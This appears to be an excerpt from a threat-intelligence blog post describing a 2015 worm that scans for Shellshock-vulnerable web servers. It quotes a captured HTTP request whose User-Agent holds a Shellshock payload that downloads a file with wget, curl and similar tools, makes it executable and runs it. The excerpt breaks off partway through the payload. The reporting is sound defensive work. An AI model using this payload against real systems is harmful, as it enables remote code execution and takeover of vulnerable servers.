In a blog post from September last year, we described some of the early Shellshock activity we were seeing in the wild. Since then we have continued to observe periodic scanning, which have by in large not been particularly noteworthy. That remained the case until just a little bit ago. Starting late in the afternoon on April 8, 2015, the frequency and breadth of scanning observed by Volexity increased fairly dramatically. A closer look at the activity reveals that a worm (of sorts) has been set loose on the Internet looking for vulnerable hosts to exploit over HTTP. The inbound requests that have been observed look like this: GET HTTP/1.1 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plain\r\n\r\nXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget ; curl -O ; fetch ; lwp-download; chmod +x .c.txt* ; sh […]